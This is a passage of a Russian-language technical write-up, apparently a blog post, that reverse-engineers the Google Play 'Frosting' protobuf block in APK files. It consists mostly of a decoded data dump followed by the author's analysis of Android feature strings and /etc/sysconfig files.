64, 145, 144, 158, 160, 114, 51, 147, 56, 145, 78, 131, 124, 155,            244, 135, 29],          "2:1:embedded": {            "5:0:embedded": {              "1:0:varint": 47            }          }        },        "3:11:embedded": {          "1:0:bytes": [            208, 138, 65, 103, 12, 44, 60, 179, 81, 117, 125, 125, 32, 171, 58,            255, 61, 9, 184, 59, 17, 165, 38, 250, 2, 126, 131, 206, 204, 106,            121, 122],          "2:1:embedded": {            "5:0:embedded": {              "1:0:varint": 172            }          }        },        "3:12:embedded": {          "1:0:bytes": [            31, 249, 92, 139, 0, 179, 127, 14, 76, 18, 118, 130, 116, 231, 107,            180, 104, 172, 152, 12, 126, 119, 18, 158, 162, 145, 126, 39, 92,            184, 71, 29],          "2:1:embedded": {            "5:0:embedded": {              "1:0:varint": 148            }          }        },        "3:13:embedded": {          "1:0:bytes": [            215, 70, 132, 253, 56, 142, 20, 226, 80, 118, 251, 124, 96, 236,            23, 198, 249, 38, 100, 213, 16, 125, 232, 138, 142, 127, 236, 127,            185, 25, 114, 190],          "2:1:embedded": {            "7:0:embedded": {              "1:0:string": "IW"            }          }        },        "3:14:embedded": {          "1:0:bytes": [            87, 151, 187, 223, 182, 225, 35, 238, 176, 44, 82, 149, 122, 132,            165, 219, 225, 29, 73, 188, 200, 85, 139, 102, 160, 115, 38, 107,            248, 236, 198, 127],          "2:1:embedded": {            "5:0:embedded": {              "1:0:varint": 153            }          }        },        "3:15:embedded": {          "1:0:bytes": [            41, 181, 59, 170, 70, 192, 248, 215, 162, 173, 176, 230, 98, 201,            85, 97, 46, 213, 204, 180, 97, 160, 104, 131, 96, 116, 115, 239,            75, 4, 152, 127],          "2:1:embedded": {            "5:0:embedded": {              "1:0:varint": 171            }          }        },        "3:16:embedded": {          "1:0:bytes": [            66, 31, 252, 95, 240, 235, 159, 130, 37, 247, 203, 210, 165, 40, 2,            37, 157, 33, 78, 114, 102, 214, 7, 15, 128, 103, 91, 63, 138, 113,            125, 119],          "2:1:embedded": {            "5:0:embedded": {              "1:0:varint": 3            }          }        },        "3:17:embedded": {          "1:0:bytes": [            38, 209, 2, 170, 201, 97, 61, 107, 59, 193, 146, 187, 51, 241, 22,            232, 147, 33, 169, 77, 71, 109, 213, 77, 47, 247, 160, 158, 111,            206, 156, 243],          "2:1:embedded": {            "5:0:embedded": {              "1:0:varint": 184            }          }        },        "3:18:embedded": {          "1:0:bytes": [            195, 229, 130, 114, 114, 109, 5, 1, 40, 156, 47, 239, 0, 169, 239,            211, 98, 138, 113, 182, 234, 23, 214, 125, 49, 107, 142, 168, 175,            253, 223, 124],          "2:1:embedded": {            "7:0:embedded": {              "1:0:string": "IN"            }          }        },        "3:19:embedded": {          "1:0:bytes": [            53, 252, 95, 223, 136, 114, 75, 101, 122, 251, 97, 128, 49, 203,            183, 223, 33, 50, 56, 209, 198, 238, 135, 15, 85, 128, 142, 242,            221, 17, 110, 219],          "2:1:embedded": {            "5:0:embedded": {              "1:0:varint": 77            }          }        },        "3:20:embedded": {          "1:0:bytes": [            31, 231, 69, 193, 155, 115, 41, 39, 125, 98, 164, 106, 101, 40, 15,            168, 63, 161, 40, 158, 119, 56, 170, 131, 97, 143, 204, 117, 219,            228, 115, 58],          "2:1:embedded": {            "5:0:embedded": {              "1:0:varint": 51            }          }        },        "3:21:embedded": {          "1:0:bytes": [            58, 114, 14, 110, 167, 28, 66, 253, 106, 5, 106, 130, 219, 199,            234, 73, 126, 0, 63, 102, 153, 172, 52, 224, 22, 145, 84, 42, 74,            216, 210, 58],          "2:1:embedded": {            "5:0:embedded": {              "1:0:varint": 154            }          }        },        "3:22:embedded": {          "1:0:bytes": [            3, 198, 55, 89, 63, 195, 67, 117, 23, 19, 208, 6, 64, 61, 55, 60,            106, 216, 150, 133, 175, 51, 211, 254, 106, 150, 250, 240, 10, 49,            163, 47],          "2:1:embedded": {            "5:0:embedded": {              "1:0:varint": 84            }          }        },        "3:23:embedded": {          "1:0:bytes": [            43, 113, 17, 252, 89, 90, 79, 80, 158, 159, 123, 186, 207, 137, 84,            186, 68, 155, 105, 111, 176, 215, 70, 107, 51, 237, 73, 155, 242,            122, 10, 46],          "2:1:embedded": {            "5:0:embedded": {              "1:0:varint": 325            }          }        },        "3:24:embedded": {          "1:0:bytes": [            163, 118, 101, 102, 1, 115, 201, 144, 237, 239, 117, 79, 163, 127,            173, 149, 33, 211, 90, 111, 82, 50, 146, 101, 80, 30, 22, 112,            153, 164, 19, 150],          "2:1:embedded": {            "5:0:embedded": {              "1:0:varint": 258            }          }        },        "3:25:embedded": {          "1:0:bytes": [            11, 171, 219, 11, 212, 240, 116, 80, 201, 168, 63, 75, 188, 168,            236, 220, 108, 157, 49, 226, 17, 158, 105, 188, 44, 180, 67, 196,            36, 31, 46, 149],          "2:1:embedded": {            "5:0:embedded": {              "1:0:varint": 161            }          }        },        "3:26:embedded": {          "1:0:bytes": [            233, 52, 162, 8, 5, 80, 139, 147, 172, 124, 252, 124, 75, 146, 182,            53, 109, 29, 220, 18, 52, 120, 53, 83, 255, 138, 143, 39, 194, 61,            163, 196],          "2:1:embedded": {            "5:0:embedded": {              "1:0:varint": 46            }          }        },        "3:27:embedded": {          "1:0:bytes": [            82, 61, 18, 192, 210, 218, 157, 38, 65, 86, 39, 30, 138, 32, 248,            114, 10, 148, 210, 251, 130, 23, 54, 116, 104, 206, 141, 102, 169,            191, 5, 233],          "2:1:embedded": {            "5:0:embedded": {              "1:0:varint": 38            }          }        },        "3:28:embedded": {          "1:0:bytes": [            47, 251, 190, 153, 104, 136, 52, 169, 146, 57, 29, 6, 153, 167, 3,            209, 5, 30, 100, 215, 240, 47, 96, 103, 114, 164, 131, 197, 69,            112, 4, 86],          "2:1:embedded": {            "5:0:embedded": {              "1:0:varint": 129            }          }        },        "3:29:embedded": {          "1:0:bytes": [            93, 192, 14, 10, 50, 59, 229, 14, 140, 132, 196, 12, 219, 149, 215,            224, 125, 6, 139, 61, 6, 144, 255, 96, 5, 37, 216, 91, 137, 135,            41, 24],          "2:1:embedded": {            "5:0:embedded": {              "1:0:varint": 25            }          }        },        "3:30:embedded": {          "1:0:bytes": [            10, 2, 142, 220, 179, 122, 72, 30, 24, 127, 28, 65, 31, 28, 73,            126, 198, 238, 62, 156, 228, 87, 163, 9, 38, 116, 106, 48, 25,            152, 159, 179],          "2:1:embedded": {            "5:0:embedded": {              "1:0:varint": 126            }          }        },        "3:31:embedded": {          "1:0:bytes": [            81, 12, 199, 94, 25, 57, 186, 111, 6, 142, 64, 231, 47, 149, 116,            21, 53, 34, 89, 104, 13, 47, 184, 121, 38, 4, 206, 64, 179, 247,            20, 137],          "2:1:embedded": {            "5:0:embedded": {              "1:0:varint": 156            }          }        },        "3:32:embedded": {          "1:0:bytes": [            171, 95, 184, 6, 120, 203, 22, 123, 134, 45, 181, 225, 90, 186,            233, 210, 8, 55, 43, 48, 169, 47, 10, 200, 161, 216, 118, 98, 61,            215, 124, 135],          "2:1:embedded": {            "5:0:embedded": {              "1:0:varint": 158            }          }        },        "3:33:embedded": {          "1:0:bytes": [            198, 24, 206, 30, 88, 136, 6, 128, 184, 53, 150, 247, 25, 79, 56,            60, 81, 143, 13, 123, 107, 35, 86, 162, 122, 7, 216, 27, 27, 249,            19, 47],          "2:1:embedded": {            "5:0:embedded": {              "1:0:varint": 63            }          }        },        "3:34:embedded": {          "1:0:bytes": [            230, 93, 108, 31, 194, 183, 82, 253, 244, 34, 6, 1, 7, 69, 80, 147,            131, 89, 158, 29, 236, 115, 92, 196, 44, 178, 254, 238, 121, 246,            113, 68],          "2:1:embedded": {            "5:0:embedded": {              "1:0:varint": 104            }          }        },        "3:35:embedded": {          "1:0:bytes": [            147, 204, 39, 33, 249, 108, 184, 249, 48, 14, 165, 120, 66, 9, 137,            134, 5, 48, 106, 48, 105, 140, 144, 159, 125, 179, 124, 71, 158,            117, 131, 210],          "2:1:embedded": {            "5:0:embedded": {              "1:0:varint": 19            }          }        },        "3:36:embedded": {          "1:0:bytes": [            89, 255, 33, 10, 191, 177, 183, 189, 245, 158, 109, 205, 126, 163,            104, 71, 57, 35, 124, 14, 130, 83, 188, 213, 129, 96, 249, 122, 39,            106, 120, 195],          "2:1:embedded": {            "5:0:embedded": {              "1:0:varint": 80            }          }        },        "3:37:embedded": {          "1:0:bytes": [            105, 92, 221, 66, 185, 181, 94, 19, 30, 129, 85, 145, 196, 110, 14,            125, 216, 251, 11, 186, 138, 194, 135, 243, 1, 172, 32, 128, 159,            113, 84, 87],          "2:1:embedded": {            "5:0:embedded": {              "1:0:varint": 106            }          }        },        "3:38:embedded": {          "1:0:bytes": [            157, 183, 189, 153, 219, 24, 43, 100, 235, 0, 132, 119, 215, 108,            236, 153, 22, 241, 252, 211, 231, 116, 33, 113, 123, 237, 138, 202,            213, 153, 43, 88],          "2:1:embedded": {            "5:0:embedded": {              "1:0:varint": 123            }          }        },        "3:39:embedded": {          "1:0:bytes": [            146, 229, 59, 43, 145, 105, 186, 201, 142, 14, 158, 90, 5, 28, 230,            197, 134, 18, 13, 219, 74, 209, 84, 214, 210, 54, 70, 1, 56, 31,            218, 54],          "2:1:embedded": {            "5:0:embedded": {              "1:0:varint": 58            }          }        },        "3:40:embedded": {          "1:0:bytes": [            220, 242, 61, 79, 217, 248, 85, 208, 85, 163, 104, 176, 88, 2, 114,            108, 131, 202, 204, 53, 110, 75, 239, 56, 136, 67, 248, 247, 12,            63, 191, 12],          "2:1:embedded": {            "5:0:embedded": {              "1:0:varint": 175            }          }        },        "3:41:embedded": {          "1:0:bytes": [            71, 68, 176, 15, 211, 98, 59, 27, 187, 227, 14, 91, 53, 120, 129,            50, 108, 107, 103, 66, 252, 217, 178, 77, 184, 147, 91, 90, 19,            111, 128, 53],          "2:1:embedded": {            "5:0:embedded": {              "1:0:varint": 134            }          }        },        "3:42:embedded": {          "1:0:bytes": [            201, 51, 220, 118, 187, 125, 87, 7, 246, 185, 155, 52, 220, 28, 12,            90, 48, 123, 202, 135, 233, 18, 3, 137, 10, 222, 223, 206, 111,            196, 255, 235],          "2:1:embedded": {            "5:0:embedded": {              "1:0:varint": 78            }          }        },        "3:43:embedded": {          "1:0:bytes": [            144, 123, 192, 106, 90, 212, 71, 96, 188, 5, 46, 223, 100, 12, 58,            99, 141, 127, 17, 14, 181, 44, 129, 224, 57, 134, 157, 34, 245, 78,            63, 60],          "2:1:embedded": {            "5:0:embedded": {              "1:0:varint": 130            }          }        },        "3:44:embedded": {          "1:0:bytes": [            21, 33, 78, 136, 74, 131, 86, 48, 170, 99, 67, 146, 12, 42, 119,            249, 70, 198, 221, 127, 241, 175, 42, 0, 12, 66, 71, 172, 59, 17,            27, 228],          "2:1:embedded": {            "5:0:embedded": {              "1:0:varint": 56            }          }        },        "3:45:embedded": {          "1:0:bytes": [            45, 178, 69, 5, 175, 52, 44, 90, 190, 94, 100, 180, 238, 153, 189,            58, 248, 181, 189, 134, 151, 53, 68, 244, 110, 252, 95, 156, 34,            248, 195, 141],          "2:1:embedded": {            "5:0:embedded": {              "1:0:varint": 90            }          }        },        "3:46:embedded": {          "1:0:bytes": [            91, 22, 185, 64, 72, 46, 38, 48, 20, 244, 241, 114, 1, 64, 97, 227,            136, 54, 169, 201, 133, 11, 182, 88, 154, 1, 142, 138, 24, 112,            166, 16],          "2:1:embedded": {            "5:0:embedded": {              "1:0:varint": 168            }          }        },        "3:47:embedded": {          "1:0:bytes": [            27, 146, 39, 199, 46, 197, 241, 106, 223, 55, 129, 191, 176, 123,            232, 151, 44, 180, 31, 142, 137, 201, 21, 52, 94, 201, 111, 170,            169, 93, 55, 131],          "2:1:embedded": {            "5:0:embedded": {              "1:0:varint": 76            }          }        },        "3:48:embedded": {          "1:0:bytes": [            193, 124, 22, 3, 213, 34, 101, 149, 246, 22, 8, 15, 68, 75, 165,            76, 38, 150, 247, 77, 2, 140, 154, 249, 2, 205, 73, 232, 130, 104,            69, 159],          "2:1:embedded": {            "5:0:embedded": {              "1:0:varint": 66            }          }        },        "3:49:embedded": {          "1:0:bytes": [            5, 193, 68, 1, 180, 40, 46, 163, 192, 112, 174, 29, 81, 223, 190,            244, 3, 142, 55, 211, 8, 2, 192, 194, 30, 20, 55, 42, 41, 68, 125,            127],          "2:1:embedded": {            "5:0:embedded": {              "1:0:varint": 136            }          }        },        "3:50:embedded": {          "1:0:bytes": [            83, 24, 100, 126, 8, 186, 138, 33, 95, 127, 89, 36, 2, 106, 137,            183, 242, 92, 104, 95, 122, 198, 162, 7, 255, 251, 123, 96, 225,            149, 63, 111],          "2:1:embedded": {            "5:0:embedded": {              "1:0:varint": 29            }          }        },        "3:51:embedded": {          "1:0:bytes": [            194, 142, 59, 4, 54, 96, 70, 2, 123, 91, 9, 252, 170, 235, 182, 98,            37, 143, 10, 210, 186, 173, 103, 165, 149, 47, 171, 59, 201, 209,            250, 66],          "2:1:embedded": {            "5:0:embedded": {              "1:0:varint": 107            }          }        },        "3:52:embedded": {          "1:0:bytes": [            99, 76, 68, 203, 167, 245, 211, 142, 143, 66, 189, 190, 254, 178,            37, 12, 61, 195, 104, 178, 165, 186, 113, 253, 215, 1, 169, 54,            129, 175, 212, 70],          "2:1:embedded": {            "5:0:embedded": {              "1:0:varint": 35            }          }        },        "3:53:embedded": {          "1:0:bytes": [            92, 240, 11, 68, 247, 15, 103, 182, 210, 65, 243, 114, 153, 230,            135, 241, 160, 60, 31, 140, 166, 85, 107, 163, 252, 119, 167, 35,            195, 207, 141, 18],          "2:1:embedded": {            "5:0:embedded": {              "1:0:varint": 20            }          }        },        "3:54:embedded": {          "1:0:bytes": [            52, 163, 30, 105, 147, 104, 203, 234, 85, 78, 118, 91, 238, 243,            81, 81, 183, 127, 166, 173, 2, 33, 111, 160, 93, 35, 4, 128, 97,            231, 134, 223],          "2:1:embedded": {            "5:0:embedded": {              "1:0:varint": 40            }          }        },        "3:55:embedded": {          "1:0:bytes": [            15, 45, 48, 189, 170, 219, 22, 126, 243, 217, 200, 106, 165, 165,            120, 108, 150, 111, 105, 150, 85, 8, 120, 155, 210, 148, 32, 198,            145, 49, 115, 16],          "2:1:embedded": {            "5:0:embedded": {              "1:0:varint": 26            }          }        },        "3:56:embedded": {          "1:0:bytes": [            27, 250, 155, 159, 74, 227, 46, 27, 185, 4, 150, 8, 184, 21, 240,            149, 45, 244, 81, 252, 85, 159, 50, 201, 247, 73, 42, 60, 127, 194,            238, 197],          "2:1:embedded": {            "5:0:embedded": {              "1:0:varint": 36            }          }        },        "3:57:embedded": {          "1:0:bytes": [            108, 3, 162, 113, 54, 72, 115, 18, 228, 40, 151, 67, 169, 226, 153,            58, 138, 252, 59, 67, 200, 53, 128, 160, 233, 148, 198, 100, 2,            236, 64, 76],          "2:1:embedded": {            "5:0:embedded": {              "1:0:varint": 127            }          }        },        "3:58:embedded": {          "1:0:bytes": [            49, 49, 177, 65, 227, 61, 198, 32, 171, 82, 125, 100, 152, 38, 31,            134, 206, 214, 41, 7, 221, 160, 238, 165, 79, 21, 214, 112, 178,            61, 11, 9],          "2:1:embedded": {            "5:0:embedded": {              "1:0:varint": 118            }          }        },        "3:59:embedded": {          "1:0:bytes": [            20, 105, 162, 168, 235, 1, 24, 192, 39, 86, 5, 217, 99, 35, 205,            139, 169, 93, 95, 58, 226, 208, 58, 100, 127, 228, 120, 31, 18, 41,            125, 188],          "2:1:embedded": {            "5:0:embedded": {              "1:0:varint": 24            }          }        },        "3:60:embedded": {          "1:0:bytes": [            34, 182, 106, 248, 174, 109, 85, 82, 233, 185, 158, 189, 109, 180,            122, 16, 147, 191, 174, 75, 237, 181, 28, 126, 154, 187, 117, 74,            222, 183, 40, 42],          "2:1:embedded": {            "5:0:embedded": {              "1:0:varint": 140            }          }        },        "3:61:embedded": {          "1:0:bytes": [            26, 231, 159, 209, 255, 47, 66, 73, 25, 159, 150, 146, 159, 24,            180, 147, 187, 127, 158, 136, 140, 26, 16, 163, 73, 22, 192, 248,            72, 201, 123, 70],          "2:1:embedded": {            "5:0:embedded": {              "1:0:varint": 160            }          }        },        "3:62:embedded": {          "1:0:bytes": [            203, 229, 192, 110, 98, 83, 18, 72, 171, 75, 44, 16, 145, 234, 53,            21, 92, 92, 252, 180, 147, 252, 134, 164, 131, 200, 84, 216, 173,            57, 215, 64],          "2:1:embedded": {            "5:0:embedded": {              "1:0:varint": 65            }          }        },        "3:63:embedded": {          "1:0:bytes": [            27, 37, 29, 129, 135, 60, 21, 21, 130, 47, 246, 84, 230, 29, 106,            8, 164, 126, 104, 33, 221, 10, 59, 198, 65, 59, 120, 175, 206,            115, 159, 192],          "2:1:embedded": {            "5:0:embedded": {              "1:0:varint": 150            }          }        },        "3:64:embedded": {          "1:0:bytes": [            247, 70, 240, 58, 235, 170, 216, 77, 82, 133, 127, 229, 69, 233,            41, 152, 29, 26, 140, 211, 60, 199, 111, 14, 228, 194, 135, 49,            207, 62, 100, 88],          "2:1:embedded": {            "3:0:embedded": {              "1:0:varint": 3            }          }        },        "3:65:embedded": {          "1:0:embedded": {            "3:0:bytes": [              240, 189, 141, 59, 178, 229, 21, 207, 150, 181, 18, 214, 123,              229, 94, 213, 47, 55, 0, 35, 94, 176, 10, 239, 63, 91, 177, 203,              181, 232]          },          "2:1:embedded": {            "3:0:embedded": {              "1:0:varint": 2            }          }        }      },      "3:2:embedded": {        "1:0:varint": 1,        "2:1:embedded": {          "1:0:bytes": [            33, 255, 48, 173, 71, 120, 45, 62, 197, 131, 213, 202, 76, 94, 249,            217, 35, 187, 218, 99, 4, 123, 252, 140, 225, 146, 188, 168, 168,            162, 182, 43]        },        "3:2:embedded": {          "1:0:bytes": [            25, 141, 201, 30, 174, 20, 216, 191, 35, 48, 111, 202, 181, 109,            38, 200, 22, 81, 86, 189, 190, 86, 13, 133, 64, 168, 191, 133, 34,            39, 191, 224],          "2:1:embedded": {            "3:0:embedded": {              "1:0:varint": 3            }          }        },        "3:3:embedded": {          "1:0:bytes": [            71, 158, 85, 141, 109, 205, 49, 21, 217, 217, 209, 39, 252, 123,            76, 99, 122, 134, 75, 8, 32, 224, 96, 181, 34, 239, 108, 110, 14,            13, 46, 205],          "2:1:embedded": {            "3:0:embedded": {              "1:0:varint": 2            }          }        }      },      "3:3:embedded": {        "1:0:varint": 0,        "2:1:embedded": {          "1:0:bytes": [            203, 190, 37, 85, 163, 233, 86, 189, 68, 5, 138, 164, 64, 165, 54,            146, 237, 162, 128, 49, 148, 179, 51, 34, 217, 7, 38, 108, 182,            197, 160, 179]        }      },      "3:4:embedded": {        "1:0:varint": 0,        "2:1:embedded": {          "1:0:bytes": [            163, 159, 42, 53, 128, 115, 90, 161, 149, 19, 157, 15, 58, 113,            122, 238, 204, 104, 91, 216, 78, 131, 30, 240, 110, 166, 106, 159,            237, 125, 147, 82]        },        "3:2:embedded": {          "1:0:bytes": [            57, 32, 198, 203, 112, 159, 189, 236, 244, 113, 104, 205, 165,            135, 237, 217, 163, 184, 202, 45, 241, 164, 164, 78, 112, 12, 177,            124, 204, 213, 16, 78],          "2:1:embedded": {            "3:0:embedded": {              "1:0:varint": 3            }          }        },        "3:3:embedded": {          "1:0:bytes": [            220, 184, 103, 130, 108, 220, 83, 140, 36, 238, 139, 5, 167, 253,            252, 136, 76, 43, 72, 36, 245, 92, 47, 147, 40, 134, 117, 179, 88,            9, 164, 70],          "2:1:embedded": {            "3:0:embedded": {              "1:0:varint": 2            }          }        }      },      "3:5:embedded": {        "1:0:varint": 1,        "2:1:embedded": {          "1:0:bytes": [            240, 142, 243, 236, 188, 6, 32, 37, 148, 220, 19, 135, 176, 7, 175,            172, 234, 124, 152, 61, 115, 11, 68, 50, 219, 32, 182, 146, 2, 41,            153, 192]        },        "3:2:embedded": {          "1:0:bytes": [            245, 12, 255, 55, 29, 151, 184, 242, 250, 247, 191, 244, 52, 251,            172, 66, 40, 242, 47, 67, 168, 136, 224, 201, 229, 16, 64, 4, 36,            207, 164, 97],          "2:1:embedded": {            "3:0:embedded": {              "1:0:varint": 3            }          }        },        "3:3:embedded": {          "1:0:bytes": [            98, 200, 36, 229, 239, 75, 96, 35, 195, 26, 180, 253, 4, 232, 178,            167, 173, 163, 171, 110, 154, 60, 20, 229, 82, 52, 201, 194, 199,            137, 188, 237],          "2:1:embedded": {            "3:0:embedded": {              "1:0:varint": 2            }          }        }      },      "3:6:embedded": {        "1:0:varint": 1,        "2:1:embedded": {          "1:0:bytes": [            36, 1, 15, 223, 76, 25, 153, 9, 204, 90, 139, 114, 200, 122, 201,            226, 179, 79, 135, 58, 82, 134, 136, 184, 34, 249, 131, 132, 127,            38, 46, 245]        },        "3:2:embedded": {          "1:0:bytes": [            110, 242, 238, 199, 145, 159, 168, 178, 187, 136, 71, 7, 156, 155,            102, 157, 218, 30, 147, 63, 91, 89, 147, 79, 29, 133, 10, 154, 77,            107, 15, 23],          "2:1:embedded": {            "3:0:embedded": {              "1:0:varint": 3            }          }        },        "3:3:embedded": {          "1:0:bytes": [            193, 203, 71, 244, 30, 18, 158, 188, 15, 77, 73, 13, 22, 120, 82,            107, 224, 130, 68, 135, 58, 123, 59, 135, 29, 86, 232, 139, 54, 74,            77, 121],          "2:1:embedded": {            "3:0:embedded": {              "1:0:varint": 2            }          }        }      },      "3:7:embedded": {        "1:0:varint": 0,        "2:1:embedded": {          "1:0:embedded": {            "2:0:varint": 495613890054,            "192224:1:float32": 4.882061335059751e-12,            "13:2:float64": -1.0035307849984653e+45,            "14:3:float64": -9.42824039531738e+194          }        },        "3:2:embedded": {          "1:0:bytes": [            176, 193, 111, 217, 103, 210, 40, 38, 174, 253, 210, 197, 138, 118,            79, 56, 223, 186, 161, 214, 205, 215, 175, 9, 245, 199, 58, 188,            87, 17, 112, 187],          "2:1:embedded": {            "3:0:embedded": {              "1:0:varint": 3            }          }        },        "3:3:embedded": {          "1:0:bytes": [            233, 74, 153, 41, 23, 225, 3, 244, 202, 119, 170, 143, 9, 6, 210,            63, 125, 169, 131, 143, 182, 92, 221, 250, 202, 54, 145, 84, 30,            120, 18, 91],          "2:1:embedded": {            "3:0:embedded": {              "1:0:varint": 2            }          }        }      },      "3:8:embedded": {        "1:0:varint": 1,        "2:1:embedded": {          "1:0:bytes": [            168, 15, 228, 127, 125, 117, 127, 138, 147, 171, 112, 68, 159, 126,            29, 136, 159, 179, 53, 127, 49, 203, 4, 114, 246, 31, 236, 30, 138,            177, 114, 180]        },        "3:2:embedded": {          "1:0:bytes": [            175, 38, 148, 203, 5, 192, 218, 240, 99, 37, 193, 198, 171, 54,            171, 189, 43, 21, 47, 93, 178, 90, 122, 26, 84, 147, 81, 211, 72,            159, 117, 186],          "2:1:embedded": {            "1:0:embedded": {              "1:0:varint": 120            }          }        },        "3:3:embedded": {          "1:0:bytes": [            178, 168, 118, 168, 112, 230, 109, 168, 126, 135, 179, 184, 202,            71, 168, 52, 173, 232, 47, 90, 206, 58, 2, 36, 231, 168, 28, 159,            121, 169, 250, 225],          "2:1:embedded": {            "1:0:embedded": {              "1:0:varint": 160            }          }        },        "3:4:embedded": {          "1:0:bytes": [            27, 161, 172, 103, 148, 85, 34, 240, 54, 186, 19, 156, 128, 76,            161, 194, 205, 44, 121, 156, 95, 221, 165, 157, 48, 84, 171, 94,            213, 94, 38, 32],          "2:1:embedded": {            "1:0:embedded": {              "1:0:varint": 240            }          }        },        "3:5:embedded": {          "1:0:bytes": [            59, 22, 204, 77, 122, 25, 137, 251, 172, 27, 167, 105, 49, 28, 42,            101, 237, 95, 111, 59, 71, 48, 155, 192, 72, 229, 119, 45, 87, 83,            228, 126],          "2:1:embedded": {            "1:0:embedded": {              "1:0:varint": 320            }          }        },        "3:6:embedded": {          "1:0:bytes": [            8, 33, 151, 137, 172, 94, 16, 17, 78, 72, 18, 122, 33, 27, 94, 14,            210, 96, 130, 155, 222, 163, 85, 72, 14, 65, 157, 51, 80, 239, 102,            159],          "2:1:embedded": {            "1:0:embedded": {              "1:0:varint": 480            }          }        },        "3:7:embedded": {          "1:0:bytes": [            56, 238, 38, 244, 65, 33, 107, 152, 55, 119, 194, 4, 193, 171, 0,            161, 170, 76, 178, 1, 83, 171, 68, 124, 231, 251, 16, 58, 69, 140,            73, 27],          "2:1:embedded": {            "1:0:embedded": {              "1:0:varint": 640            }          }        },        "3:8:embedded": {          "1:0:bytes": [            234, 0, 220, 53, 6, 255, 39, 198, 77, 205, 185, 199, 74, 82, 77,            238, 19, 189, 175, 169, 229, 243, 213, 98, 178, 88, 114, 237, 130,            176, 18, 73],          "2:1:embedded": {            "1:0:embedded": {              "1:0:varint": 213            }          }        },        "3:9:embedded": {          "1:0:bytes": [            185, 165, 104, 89, 84, 74, 209, 29, 242, 21, 183, 113, 130, 246,            55, 41, 106, 125, 21, 102, 221, 45, 71, 190, 159, 70, 149, 140, 48,            167, 19, 193],          "2:1:embedded": {            "5:0:embedded": {              "1:0:varint": 40            }          }        },        "3:10:embedded": {          "1:0:bytes": [            220, 55, 196, 143, 179, 190, 76, 224, 62, 229, 56, 186, 142, 119,            251, 254, 170, 172, 89, 23, 229, 85, 169, 193, 135, 234, 5, 63, 19,            102, 182, 115],          "2:1:embedded": {            "3:0:embedded": {              "1:0:varint": 3            }          }        },        "3:11:embedded": {          "1:0:bytes": [            129, 101, 107, 114, 78, 83, 69, 51, 80, 76, 1, 218, 223, 168, 239,            110, 132, 179, 104, 145, 7, 183, 83, 83, 248, 208, 228, 139, 134,            120, 52, 26],          "2:1:embedded": {            "3:0:embedded": {              "1:0:varint": 2            }          }        }      },      "3:9:embedded": {        "1:0:varint": 0,        "2:1:embedded": {          "1:0:bytes": [            74, 175, 233, 99, 240, 93, 193, 197, 121, 201, 157, 138, 122, 204,            35, 17, 29, 212, 57, 239, 239, 42, 0, 122, 150, 248, 198, 205, 34,            3, 51, 162]        }      }    }  },  "7:5:varint": 1,  "8:6:varint": 2,  "9:7:varint": 2}

В данных изредка попадаются занятные строки: android.hardware.ram.low, com.samsung.feature.SAMSUNG_EXPERIENCE, com.google.android.apps.photos.PIXEL_2018_PRELOAD. Эти строки не очень документированные имена функций, которые могут быть у устройства.


Описание функций, если они есть, можно посмотреть, на устройстве в файлах в папке /etc/sysconfig/:


adb shell cat /etc/sysconfig/pixel_experience_2017.xml<?xml version="1.0" encoding="utf-8"?><!-- These are configurations that should exist on Google's 2017 and newer Nexus devices. --><config>    <!-- This is meant to be the canonical feature identifying 2017 and newer Nexus devices. -->    <feature name="com.google.android.feature.PIXEL_2017_EXPERIENCE" /></config>adb shell cat /etc/sysconfig/pixel_2017_exclusive.xml<?xml version="1.0" encoding="utf-8"?><!-- These are configurations that should exist on Google's 2017 devices (and not newer/older) --><config>    <!-- This defines the Photos preload feature for specifically the 2017 Pixel devices. -->    <feature name="com.google.android.apps.photos.PIXEL_2017_PRELOAD" /></config>

В качестве документированного примера можно привести проверку наличия камеры запросом функции android.hardware.camera через метод hasSystemFeature класса PackageManager. Но зачем нужны эти строки, в данном контексте непонятно.


Мне не удалось угадать, найти или восстановить схему данных из классов APK Play Маркет. Если кто-то расскажет, что там и как получилось это определить, будет интересно. Пока есть только предположения разработчиков утилиты от Avast о структуре ProtoBuf и о том, что строка com.google.android.apps.photos.PIXEL_2018_PRELOAD указывает, является ли приложение системным/предустановленным:


1 <varint> = 1  // frosting versions?2 <varint> = 03 <varint> = 14 <varint> = 1541545744578  // Timestamp of the frosting creation?5 <chunk> = message:    8 <chunk> = message:        1 <chunk> = message(1 <varint> = 22)  // minSdkLevel?        6 <varint> = 2    9 <chunk> = message:        1 <chunk> = message(1 <varint> = 2266, 4 <varint> = 2)  // versionCode        2 <chunk> = message(1 <varint> = 50003, 4 <varint> = 4)    10 <chunk> = message:        1 <chunk> = bytes (30)  // ?? only last byte changes across apks            0000   FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF            0010   FF FE FF FF FF FF FF FF FF FF FF FF FF 3F            '.............................?'        3 <chunk> = message:            1 <chunk> = bytes (32)  // sha256 of something?                0000   16 F8 22 A6 93 26 89 34 D8 2A 88 BB 8C AD B6 68                0010   2C EB 77 A8 AA E4 5F AA F9 3C CA 63 44 2A A4 B9                '.."..&.4.*.....h,.w..._..<.cD*..'            2 <varint> = 20

Я бы хотел оставить несколько комментариев на этот счет.


1) По поводу строки com.google.android.apps.photos.PIXEL_2018_PRELOAD: легко доказать, что это неверное предположение. Скачаем несколько образов, предоставляемых Google, и увидим, что там нет не только таких строк, но и ни одного приложения, которое бы содержало блок Frosting.


Можно рассмотреть это более детально на образе walleye for Pixel 2 9.0.0 (PQ3A.190801.002, Aug 2019). Установим образ и обнаружим, что среди всех 187 APK-файлов нет ни одного файла, содержащего блок Frosting. Если обновить все приложения, блок Frosting обнаружится у 33 из 264 APK-файлов. При этом только у пяти из них присутствуют строки:



Можно предположить, что эти строки определяют необходимость функций на устройстве, куда устанавливается приложение. Но запросим полный список функций устройства, на котором проводилось обновление, и убедимся, что это не так.


Скрытый текст
